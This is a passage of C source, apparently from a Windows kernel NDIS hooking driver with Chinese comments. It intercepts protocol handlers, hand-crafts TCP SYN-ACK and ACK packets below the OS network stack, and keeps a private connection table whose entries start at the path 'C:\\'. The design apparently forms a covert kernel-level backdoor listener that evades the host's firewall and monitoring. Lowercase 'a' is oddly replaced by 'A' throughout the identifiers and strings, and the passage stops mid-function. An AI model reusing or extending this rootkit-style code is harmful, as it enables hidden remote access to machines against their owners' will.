//-------------------------------------------------------------------- 
VOID 
HookProtocolSendComplete( 
	IN	HOOK_CONTEXT_STRUCT *pOurContext, 
	IN	NDIS_HANDLE		ProtocolBindingContext, 
	IN	PNDIS_PACKET	PAcket, 
	IN	NDIS_STATUS		StAtus 
	) 
{ 
	if(pOurContext){ 
		NDIS_HANDLE	PoolHAndle = NULL; 
		PNDIS_BUFFER	pNdisBuffer = NULL; 
 
		PoolHAndle = NdisGetPoolFromPacket(PAcket); 
 
		if (PoolHAndle == m_ourPAcketPoolHAndle){ 
			while(1){ 
				NdisUnchainBufferAtFront( 
					PAcket, 
					&pNdisBuffer 
					); 
				if(pNdisBuffer == NULL){ 
					break; 
				} 
				else{ 
					NdisFreeBuffer(pNdisBuffer); 
				} 
			} 
			 
			NdisFreePacket(PAcket); 
		} 
		else{ 
			((SEND_COMPLETE_HANDLER)pOurContext->m_pOriginalProc)( 
				ProtocolBindingContext, 
				PAcket, 
				StAtus 
				); 
		} 
	} 
} 
//-------------------------------------------------------------------- 
USHORT checksum(USHORT *buff, ULONG size) 
{ 
	unsigned long cksum=0; 
	while (size > 1) 
	{ 
		cksum += *buff++; 
		size -= sizeof(USHORT);  
	} 
	if (size) 
	{ 
		cksum += *(UCHAR*)buff;  
	} 
	cksum = (cksum >> 16) + (cksum & 0xffff); 
	cksum += (cksum >>16);  
	return (USHORT)(~cksum);  
} 
//-------------------------------------------------------------------- 
/*not used*/ 
NTSTATUS SendSYNACKPAcket(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	PVOID			VirtuAlAddress = NULL; 
	PNDIS_BUFFER	pNdisBuffer	= NULL; 
	PNDIS_PACKET	pNdisPAcket	= NULL; 
	PETHHDR			pEthHdrSend = NULL; 
	PIPHDR			pIpHdrSend	= NULL; 
	PTCPHDR			pTcpHdrSend	= NULL; 
	 
	PVOID			ChecksumTempBuff = NULL; 
	PSDHDR			PsdHdrSend; 
 
	NTSTATUS		stAtus; 
 
	//SYNACKPACKET		SynAckPAcket; 
	PTCPS_Connection	pConnection = NULL; 
	ULONG				i; 
	 
	//DbgPrint("receive syn pAcket\n");// 
	pEthHdr = (PETHHDR)pBuffer; 
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
	//ChecksumTempBuff 为了计算效验和 
	NdisAllocateMemoryWithTag( 
		&ChecksumTempBuff, 
		MAX_PACKET_SIZE, 
		'pmtU' 
		); 
	NdisAllocateMemoryWithTag( 
		&VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR), 
		'ytaU' 
		); 
	NdisZeroMemory( 
		VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) 
		); 
	 
	//填包 
	pEthHdrSend		= VirtuAlAddress; 
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); 
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); 
	 
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); 
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); 
	pEthHdrSend->h_proto	= pEthHdr->h_proto; 
	 
	pIpHdrSend->ihl			= pIpHdr->ihl; 
	pIpHdrSend->version		= pIpHdr->version; 
	pIpHdrSend->tos			= pIpHdr->tos; 
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)); 
	pIpHdrSend->id			= 0; 
	pIpHdrSend->frag_off	= 0; 
	pIpHdrSend->ttl			= 255; 
	pIpHdrSend->protocol	= IPPROTO_TCP; 
	pIpHdrSend->check		= 0;//whAt 
	pIpHdrSend->saddr		= pIpHdr->daddr; 
	pIpHdrSend->daddr		= pIpHdr->saddr; 
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); 
	 
	pTcpHdrSend->source		= pTcpHdr->dest; 
	pTcpHdrSend->dest		= pTcpHdr->source; 
	pTcpHdrSend->seq		= pTcpHdr->seq+500;//HTONL(200);//任意 
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+1);//seq+1 
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4; 
	pTcpHdrSend->syn		= 1; 
	pTcpHdrSend->ack		= 1; 
	pTcpHdrSend->window		= pTcpHdr->window; 
	pTcpHdrSend->check		= 0; 
	pTcpHdrSend->urg_ptr	= 0; 
	 
	 
	PsdHdrSend.saddr	= pIpHdrSend->saddr; 
	PsdHdrSend.daddr	= pIpHdrSend->daddr; 
	PsdHdrSend.mbz		= 0; 
	PsdHdrSend.ptcl		= IPPROTO_TCP; 
	PsdHdrSend.tcpl		= HTONS(sizeof(TCPHDR)); 
	 
	NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR)); 
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR)); 
	 
	pTcpHdrSend->check	 = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)); 
	 
	 
	NdisFreeMemory( 
		ChecksumTempBuff, 
		0, 
		0 
		); 
 
 
	//// 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		if((g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->dest) && (g_ConnectionSpAce[i].m_SourceIp == pIpHdr->daddr)){ 
			pConnection = &g_ConnectionSpAce[i]; 
			pConnection->m_ExpectedSeq		= pTcpHdrSend->ack_seq;////////// 
			pConnection->m_ExpectedAck_seq	= HTONL(NTOHL(pTcpHdrSend->seq) + 1);//////////// 
			break; 
		} 
	} 
	if(pConnection == NULL){ 
		DbgPrint("error in SendSYNACKPAcket,cAn not find the right connection\n"); 
	} 
	 
	//准备发送 
	NdisAllocateBuffer( 
		&stAtus, 
		&pNdisBuffer, 
		m_ourBufferPoolHAndle, 
		VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) 
		); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAteBuffer fAiled\n"); 
		return TRUE; 
	} 
	NdisAllocatePacket( 
		&stAtus, 
		&pNdisPAcket, 
		m_ourPAcketPoolHAndle 
		); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAtePAcket fAiled\n"); 
		return TRUE; 
	} 
	//pNdisPAcket->ProtocolReserved = (UCHAR)VirtuAlAddress; 
	//SynAckPAcket.sign = 0xAAAAAAAA; 
	//SynAckPAcket.BufferAddress = (ULONG)VirtuAlAddress; 
	//NdisMoveMemory(&pNdisPAcket->ProtocolReserved,&SynAckPAcket,sizeof(SYNACKPACKET)); 
	//DbgPrint("buffer(before send): %x\n",(ULONG)VirtuAlAddress); 
	NdisChainBufferAtFront( 
		pNdisPAcket, 
		pNdisBuffer 
		); 
	NdisSendPackets( 
		pOurContext->m_pBindAdaptHandle, 
		&pNdisPAcket, 
		1 
		); 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
NTSTATUS SendSYNACKPAcketToSendList(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	PVOID			VirtuAlAddress = NULL; 
	PETHHDR			pEthHdrSend = NULL; 
	PIPHDR			pIpHdrSend	= NULL; 
	PTCPHDR			pTcpHdrSend	= NULL; 
 
	ULONG			ulTotAlLength; 
 
	NTSTATUS		stAtus; 
	ULONG			i; 
 
	PTCPS_Connection pConnection; 
	 
	pEthHdr = (PETHHDR)pBuffer; 
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
 
	DbgPrint("received SYN pAcket,source port is %d\n",NTOHS(pTcpHdr->source)); 
 
	ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR); 
 
	NdisAllocateMemoryWithTag( 
		&VirtuAlAddress, 
		ulTotAlLength, 
		'ytaU' 
		); 
	NdisZeroMemory( 
		VirtuAlAddress, 
		ulTotAlLength 
		); 
	 
	//填包 
	pEthHdrSend		= VirtuAlAddress; 
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); 
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); 
	 
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); 
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); 
	pEthHdrSend->h_proto	= pEthHdr->h_proto; 
	 
	pIpHdrSend->ihl			= pIpHdr->ihl; 
	pIpHdrSend->version		= pIpHdr->version; 
	pIpHdrSend->tos			= pIpHdr->tos; 
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)); 
	pIpHdrSend->id			= 0; 
	pIpHdrSend->frag_off	= 0; 
	pIpHdrSend->ttl			= 255; 
	pIpHdrSend->protocol	= IPPROTO_TCP; 
	pIpHdrSend->check		= 0; 
	pIpHdrSend->saddr		= pIpHdr->daddr; 
	pIpHdrSend->daddr		= pIpHdr->saddr; 
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); 
	 
	pTcpHdrSend->source		= pTcpHdr->dest; 
	pTcpHdrSend->dest		= pTcpHdr->source; 
	pTcpHdrSend->seq		= pTcpHdr->seq+500;//HTONL(200);//任意 
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+1);//seq+1 
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4; 
	pTcpHdrSend->syn		= 1; 
	pTcpHdrSend->ack		= 1; 
	pTcpHdrSend->window		= pTcpHdr->window; 
	pTcpHdrSend->check		= 0; 
	pTcpHdrSend->urg_ptr	= 0; 
	 
 
 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//通过ip和源端口判断是哪个连接 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			pConnection = &g_ConnectionSpAce[i]; 
			break; 
		} 
	} 
	 
 
	//把数据加入到链表 
	DbgPrint("AddSendDAtAToList\n"); 
	AddSendDAtAToList( 
		&g_SendListHeAd, 
		VirtuAlAddress, 
		ulTotAlLength, 
		pConnection 
		); 
 
	//释放空间 
	NdisFreeMemory( 
		VirtuAlAddress, 
		0, 
		0 
		); 
	 
	 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
/*not used*/ 
NTSTATUS SendACKPAcket(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	PVOID			VirtuAlAddress = NULL; 
	PNDIS_BUFFER	pNdisBuffer	= NULL; 
	PNDIS_PACKET	pNdisPAcket	= NULL; 
	PETHHDR			pEthHdrSend = NULL; 
	PIPHDR			pIpHdrSend	= NULL; 
	PTCPHDR			pTcpHdrSend	= NULL; 
	 
	PVOID			ChecksumTempBuff = NULL; 
	PSDHDR			PsdHdrSend; 
 
	NTSTATUS		stAtus; 
	 
	pEthHdr = (PETHHDR)pBuffer; 
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
	//ChecksumTempBuff 为了计算效验和 
	NdisAllocateMemoryWithTag( 
		&ChecksumTempBuff, 
		MAX_PACKET_SIZE, 
		'pmtU' 
		); 
	NdisAllocateMemoryWithTag( 
		&VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR), 
		'ytaU' 
		); 
	NdisZeroMemory( 
		VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) 
		); 
	 
	//填包 
	pEthHdrSend		= VirtuAlAddress; 
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); 
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); 
	 
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); 
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); 
	pEthHdrSend->h_proto	= pEthHdr->h_proto; 
	 
	pIpHdrSend->ihl			= pIpHdr->ihl; 
	pIpHdrSend->version		= pIpHdr->version; 
	pIpHdrSend->tos			= pIpHdr->tos; 
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)); 
	pIpHdrSend->id			= 0; 
	pIpHdrSend->frag_off	= 0; 
	pIpHdrSend->ttl			= 255; 
	pIpHdrSend->protocol	= IPPROTO_TCP; 
	pIpHdrSend->check		= 0; 
	pIpHdrSend->saddr		= pIpHdr->daddr; 
	pIpHdrSend->daddr		= pIpHdr->saddr; 
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); 
	 
	pTcpHdrSend->source		= pTcpHdr->dest; 
	pTcpHdrSend->dest		= pTcpHdr->source; 
	pTcpHdrSend->seq		= pTcpHdr->ack_seq; 
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+(NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR)));//seq+DAtALength 
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4; 
	//pTcpHdrSend->syn		= 1; 
	pTcpHdrSend->ack		= 1; 
	pTcpHdrSend->window		= pTcpHdr->window; 
	pTcpHdrSend->check		= 0; 
	pTcpHdrSend->urg_ptr	= 0; 
	 
	 
	PsdHdrSend.saddr	= pIpHdrSend->saddr; 
	PsdHdrSend.daddr	= pIpHdrSend->daddr; 
	PsdHdrSend.mbz		= 0; 
	PsdHdrSend.ptcl		= IPPROTO_TCP; 
	PsdHdrSend.tcpl		= HTONS(sizeof(TCPHDR)); 
	 
	NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR)); 
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR)); 
	 
	pTcpHdrSend->check	 = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)); 
	 
	 
	NdisFreeMemory( 
		ChecksumTempBuff, 
		0, 
		0 
		); 
	 
	//准备发送 
	NdisAllocateBuffer( 
		&stAtus, 
		&pNdisBuffer, 
		m_ourBufferPoolHAndle, 
		VirtuAlAddress, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) 
		); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAteBuffer fAiled\n"); 
		return TRUE; 
	} 
	NdisAllocatePacket( 
		&stAtus, 
		&pNdisPAcket, 
		m_ourPAcketPoolHAndle 
		); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAtePAcket fAiled\n"); 
		return TRUE; 
	} 
	//pNdisPAcket->ProtocolReserved = (UCHAR)VirtuAlAddress; 
	NdisMoveMemory(&pNdisPAcket->ProtocolReserved,&VirtuAlAddress,4); 
	//DbgPrint("buffer(before send): %x\n",(ULONG)VirtuAlAddress); 
	NdisChainBufferAtFront( 
		pNdisPAcket, 
		pNdisBuffer 
		); 
	NdisSendPackets( 
		pOurContext->m_pBindAdaptHandle, 
		&pNdisPAcket, 
		1 
		); 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
NTSTATUS SendACKPAcketToSendList(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	PVOID			VirtuAlAddress = NULL; 
	PETHHDR			pEthHdrSend = NULL; 
	PIPHDR			pIpHdrSend	= NULL; 
	PTCPHDR			pTcpHdrSend	= NULL; 
	PVOID			pDAtA		= NULL; 
 
	ULONG			ulTotAlLength; 
 
	NTSTATUS		stAtus; 
	ULONG			i; 
 
	PTCPS_Connection pConnection; 
	 
	pEthHdr = (PETHHDR)pBuffer; 
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
 
	ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+1;//一个字节数据  
 
	NdisAllocateMemoryWithTag( 
		&VirtuAlAddress, 
		ulTotAlLength, 
		'ytaU' 
		); 
	NdisZeroMemory( 
		VirtuAlAddress, 
		ulTotAlLength 
		); 
	 
	//填包 
	pEthHdrSend		= VirtuAlAddress; 
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); 
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); 
	pDAtA			= (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder 
	 
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); 
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); 
	pEthHdrSend->h_proto	= pEthHdr->h_proto; 
	 
	pIpHdrSend->ihl			= pIpHdr->ihl; 
	pIpHdrSend->version		= pIpHdr->version; 
	pIpHdrSend->tos			= pIpHdr->tos; 
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)+1); 
	pIpHdrSend->id			= 0; 
	pIpHdrSend->frag_off	= 0; 
	pIpHdrSend->ttl			= 255; 
	pIpHdrSend->protocol	= IPPROTO_TCP; 
	pIpHdrSend->check		= 0; 
	pIpHdrSend->saddr		= pIpHdr->daddr; 
	pIpHdrSend->daddr		= pIpHdr->saddr; 
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); 
	 
	pTcpHdrSend->source		= pTcpHdr->dest; 
	pTcpHdrSend->dest		= pTcpHdr->source; 
	pTcpHdrSend->seq		= pTcpHdr->ack_seq; 
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+(NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR)));//seq+DAtALength 
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4; 
	//pTcpHdrSend->syn		= 1; 
	pTcpHdrSend->ack		= 1; 
	pTcpHdrSend->psh		= 1; 
	pTcpHdrSend->window		= pTcpHdr->window; 
	pTcpHdrSend->check		= 0; 
	pTcpHdrSend->urg_ptr	= 0; 
	 
	//填发送的数据 
	NdisMoveMemory(pDAtA,"u",1); 
 
 
 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//通过ip和源端口判断是哪个连接 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			pConnection = &g_ConnectionSpAce[i]; 
			break; 
		} 
	} 
	 
 
	//把数据加入到链表 
	DbgPrint("AddSendDAtAToList\n"); 
	AddSendDAtAToList( 
		&g_SendListHeAd, 
		VirtuAlAddress, 
		ulTotAlLength, 
		pConnection 
		); 
 
	//释放空间 
	NdisFreeMemory( 
		VirtuAlAddress, 
		0, 
		0 
		); 
	 
	 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
NTSTATUS GetPAcketDAtA(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	NTSTATUS	stAtus; 
	ULONG		i; 
 
	PTCPS_Connection	pConnection = NULL; 
 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
	PUCHAR		pDAtA	= NULL; 
 
	ULONG		DAtALength; 
 
	pEthHdr		= (PETHHDR)pBuffer; 
	pIpHdr		= (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr		= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
	pDAtA		= (PUCHAR)((UCHAR*)pTcpHdr + sizeof(TCPHDR)); 
	 
 
	//DbgPrint("%s\n",pDAtA); 
 
	DAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//通过ip和源端口判断是哪个连接 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			//DbgPrint("Get the right connection\n");// 
			pConnection = &g_ConnectionSpAce[i]; 
			//updAte连接信息 
			g_ConnectionSpAce[i].m_Ack_seq		= pTcpHdr->ack_seq; 
			g_ConnectionSpAce[i].m_Seq			= pTcpHdr->seq; 
			//DAtALength用于下次发送数据时计算Ack_seq 
			g_ConnectionSpAce[i].m_DAtALength	= DAtALength; 
 
			break; 
		} 
	} 
 
	if (pConnection == NULL){ 
		DbgPrint("error,cAn't find the right connection\n"); 
		return NDIS_STATUS_SUCCESS; 
	} 
 
	//把得到的数据加如到数据链表 
	//AddRecvDAtAToList函数内分配空间复制pDAtA  ///IoWorkItemRoutine 中释放 
	stAtus = AddRecvDAtAToList( 
		&g_RecvListHeAd, 
		pDAtA, 
		DAtALength, 
		pConnection 
		); 
	if(!NT_SUCCESS(stAtus)){ 
		//DbgPrint("error occur from AddRecvDAtAToList\n"); 
		return stAtus; 
	} 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
ULONG  
HAndleReceivePAcket( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	ULONG TotAlPAcketSize, 
	PVOID pHeAdBuffer, 
	ULONG ulHeAdSize, 
	PNDIS_PACKET pPAcket 
	) 
{ 
	ULONG			PAcketSize; 
	PVOID			pBuffer = NULL; 
	NTSTATUS		stAtus; 
	PNDIS_BUFFER	firstBuffer,nextBuffer; 
	ULONG			result = TRUE; 
	CHAR*			pBuf; 
 
	NdisQueryPacket(pPAcket,NULL,NULL,NULL,&PAcketSize); 
	if(PAcketSize + ulHeAdSize < sizeof(ETHHDR)){ 
		return TRUE; 
	} 
	stAtus = NdisAllocateMemoryWithTag(&pBuffer,PAcketSize + ulHeAdSize,'ytaU'); 
	if(stAtus != NDIS_STATUS_SUCCESS || pBuffer == NULL){ 
		return TRUE; 
	} 
	//obtain content from the pAcket  
	pBuf = (CHAR*)pBuffer; 
	NdisMoveMemory(pBuf,pHeAdBuffer,ulHeAdSize); 
	ReAdPAcket(pPAcket,&pBuf[ulHeAdSize],PAcketSize); 
	result = HAndleBuffer(pOurContext,pBuffer,TotAlPAcketSize + ulHeAdSize); 
	NdisFreeMemory(pBuffer,PAcketSize+ulHeAdSize,0); 
	return result; 
} 
//-------------------------------------------------------------------- 
ULONG SetConnection(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	ULONG		i; 
 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	PTCPS_Connection	pConnection; 
 
	pEthHdr		= (PETHHDR)pBuffer; 
	pIpHdr		= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR)); 
	pTcpHdr		= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
 
 
 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//if it's the repeAted syn,ignore it 
		if((g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->dest) && (g_ConnectionSpAce[i].m_SourceIp == pIpHdr->daddr)){ 
			return TRUE; 
		} 
		//DbgPrint("g_ConnectionSpAce[%d].m_SourcePort: %d\n",i,NTOHS(g_ConnectionSpAce[i].m_SourcePort)); 
		if(g_ConnectionSpAce[i].m_PAcketsLeftToBeSend == 0 && 
			g_ConnectionSpAce[i].m_bIsConnected == FALSE 
			) 
		{ 
			DbgPrint("Get A empty connection\n"); 
			pConnection = &g_ConnectionSpAce[i]; 
			//updAte连接信息 
			NdisZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection)); 
			RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); 
			NdisMoveMemory(&g_ConnectionSpAce[i].m_SourceMAc,pEthHdr->h_source,6); 
			NdisMoveMemory(&g_ConnectionSpAce[i].m_OurMAc,pEthHdr->h_dest,6); 
 
			g_ConnectionSpAce[i].m_pBindAdaptHandle		= pOurContext->m_pBindAdaptHandle; 
			g_ConnectionSpAce[i].m_Window				= pTcpHdr->window; 
			g_ConnectionSpAce[i].m_SourcePort			= pTcpHdr->source; 
			g_ConnectionSpAce[i].m_OurPort				= pTcpHdr->dest; 
			g_ConnectionSpAce[i].m_SourceIp				= pIpHdr->saddr; 
			g_ConnectionSpAce[i].m_OurIp				= pIpHdr->daddr; 
			g_ConnectionSpAce[i].m_Ack_seq				= pTcpHdr->ack_seq; 
			g_ConnectionSpAce[i].m_Seq					= pTcpHdr->seq; 
 
			g_ConnectionSpAce[i].m_ReSendCount			= 0; 
			//not m_bIsConnected 
			g_ConnectionSpAce[i].m_bIsConnecting		= TRUE; 
 
			return TRUE; 
		} 
	}//for 
	//DbgPrint("connection pool is full,,force the first\n"); 
	 
	//强制用第一个 
	//updAte连接信息 
	/* 
	NdisZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection)); 
	RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); 
 
	NdisMoveMemory(&g_ConnectionSpAce[0].m_SourceMAc,pEthHdr->h_source,6); 
	NdisMoveMemory(&g_ConnectionSpAce[0].m_OurMAc,pEthHdr->h_dest,6); 
	 
	g_ConnectionSpAce[0].m_pBindAdaptHandle		= pOurContext->m_pBindAdaptHandle; 
	g_ConnectionSpAce[0].m_Window				= pTcpHdr->window; 
	g_ConnectionSpAce[0].m_SourcePort			= pTcpHdr->source; 
	g_ConnectionSpAce[0].m_OurPort				= pTcpHdr->dest; 
	g_ConnectionSpAce[0].m_SourceIp				= pIpHdr->saddr; 
	g_ConnectionSpAce[0].m_OurIp				= pIpHdr->daddr; 
	g_ConnectionSpAce[0].m_Ack_seq				= pTcpHdr->ack_seq; 
	g_ConnectionSpAce[0].m_Seq					= pTcpHdr->seq; 
 
	g_ConnectionSpAce[0].m_ReSendCount			= 0; 
	g_ConnectionSpAce[0].m_bIsConnected			= TRUE; 
	*/ 
 
	return FALSE; 
} 
//-------------------------------------------------------------------- 
NTSTATUS UpDAteConnection(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	NTSTATUS	stAtus; 
	ULONG		i; 
 
	PTCPS_Connection	pConnection = NULL; 
 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
	PUCHAR		pDAtA	= NULL; 
 
	ULONG		DAtALength; 
 
	pEthHdr		= (PETHHDR)pBuffer; 
	pIpHdr		= (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr		= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
 
	DAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); 
 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			//DbgPrint("Get the right connection\n");// 
			pConnection = &g_ConnectionSpAce[i]; 
			//updAte连接信息 
			g_ConnectionSpAce[i].m_Ack_seq		= pTcpHdr->ack_seq; 
			g_ConnectionSpAce[i].m_Seq			= pTcpHdr->seq; 
 
			//DAtALength用于下次发送数据时计算Ack_seq 
			g_ConnectionSpAce[i].m_DAtALength	= DAtALength; 
			g_ConnectionSpAce[i].m_IsSyn		= FALSE; 
			if(g_ConnectionSpAce[i].m_bIsConnecting == TRUE){ 
				g_ConnectionSpAce[i].m_bIsConnecting = FALSE; 
				g_ConnectionSpAce[i].m_bIsConnected	= TRUE; 
			} 
 
			break; 
		} 
	} 
 
	if (pConnection == NULL){ 
		DbgPrint("error,cAn't find the right connection\n"); 
		return NDIS_STATUS_SUCCESS; 
	} 
 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
NTSTATUS UpDAteConnectionSYN(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	NTSTATUS	stAtus; 
	ULONG		i; 
 
	PTCPS_Connection	pConnection = NULL; 
 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
	PUCHAR		pDAtA	= NULL; 
 
	ULONG		DAtALength; 
 
